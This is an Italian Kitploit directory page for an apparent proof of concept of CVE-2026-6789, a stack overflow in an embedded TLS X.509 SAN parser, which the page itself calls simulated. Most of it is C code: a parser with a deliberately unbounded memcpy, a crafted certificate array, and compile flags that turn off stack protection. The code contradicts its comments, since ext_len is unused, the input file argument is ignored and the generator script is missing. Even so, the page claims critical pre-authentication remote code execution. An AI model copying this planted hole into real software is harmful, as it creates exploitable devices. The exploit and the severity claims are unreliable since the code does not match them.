Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser — PoC di stack buffer overflow in un parser di certificati TLS integrato tramite un'estensione X.509 SAN appositamente creata per l'esecuzione di codice remoto su dispositivi IoT e industriali. | Kitploit
Strumenti/GitHubGitHub/george0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubgeorge0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser

CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC di stack buffer overflow in un parser di certificati TLS integrato tramite un'estensione X.509 SAN appositamente creata per l'esecuzione di codice remoto su dispositivi IoT e industriali.

Vedi Repository
11 mese faNon ancora revisionato

9. CVE-2026-6789 – Overflow del buffer di stack nel parser di certificati TLS integrato

Panoramica

Una popolare libreria TLS leggera (simulata) contiene un overflow del buffer di stack durante il parsing delle estensioni Subject Alternative Name dei certificati X.509 con un campo di lunghezza appositamente modificato.

Gravità: Critica (RCE su dispositivi IoT/industriali)

Parser C vulnerabile ed exploit

root@kitploit:~
// tls_x509_vuln.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

// Vulnerable certificate parser
struct cert {
    uint8_t *data;
    size_t len;
};

int parse_san_extension(struct cert *cert, char *san_out, size_t out_size) {
    // Assume we are inside an extension with OID for SAN.
    uint8_t *p = cert->data + 10; // skip to extension value
    uint16_t ext_len = (p[0] << 8) | p[1];
    p += 2;
    // ext_len includes a sequence of GeneralNames. We only handle dNSName.
    while (p < cert->data + cert->len) {
        uint8_t name_type = *p++;
        uint16_t name_len = (p[0] << 8) | p[1];
        p += 2;
        if (name_type == 2) { // dNSName
            // Vulnerability: memcpy without bounds check to san_out
            memcpy(san_out, p, name_len); // STACK BUFFER OVERFLOW if name_len > out_size
            san_out[name_len] = '\0';
            return 0;
        }
        p += name_len;
    }
    return -1;
}

int main(int argc, char **argv) {
    // Malicious certificate payload: crafted SAN with oversized dNSName
    uint8_t malicious_cert[] = {
        // ... header, then extension:
        0x30, 0x12, // SEQUENCE extension
        0x06, 0x03, 0x55, 0x1d, 0x11, // OID SAN
        0x04, 0x0b, // octet string, length 11
        // ext_len (should be 0x0009 but we use 0x00ff to overflow)
        0x00, 0xff, // ext_len = 255 (overstated)
        // Then a dNSName: type 2, length huge
        0x02, 0x01, 0x41, // dNSName "A" but the parser will read massive length due to ext_len
    };
    struct cert cert;
    cert.data = malicious_cert;
    cert.len = sizeof(malicious_cert);

    char san[16]; // small buffer
    parse_san_extension(&cert, san, sizeof(san));
    printf("SAN: %s\n", san);
    return 0;
}

CVE-2026-6789 – Overflow dello stack SAN X.509 del TLS integrato

Severity: Critical

📖 Panoramica

Un overflow del buffer basato su stack nel parser di certificati di una libreria TLS integrata ampiamente utilizzata consente l'esecuzione remota di codice quando un dispositivo elabora un certificato X.509 appositamente creato.

⚙️ Dettagli della vulnerabilità

  • Tipo: Overflow del buffer di stack
  • Impatto: Esecuzione remota di codice (pre‑autenticazione sui server TLS)
  • Causa principale: il parser copia un nome DNS dall'estensione Subject Alternative Name utilizzando un campo di lunghezza senza convalidarlo rispetto alla dimensione del buffer di output.

🧪 Dimostrazione dell'exploit

  1. Genera un certificato dannoso:
    root@kitploit:~
    python craft_exploit_cert.py
    
  2. Compila ed esegui il parser vulnerabile (simulazione):
    root@kitploit:~
    gcc tls_x509_vuln.c -o parser -fno-stack-protector -z execstack
    ./parser malicious.cer
    
Scarica lo strumento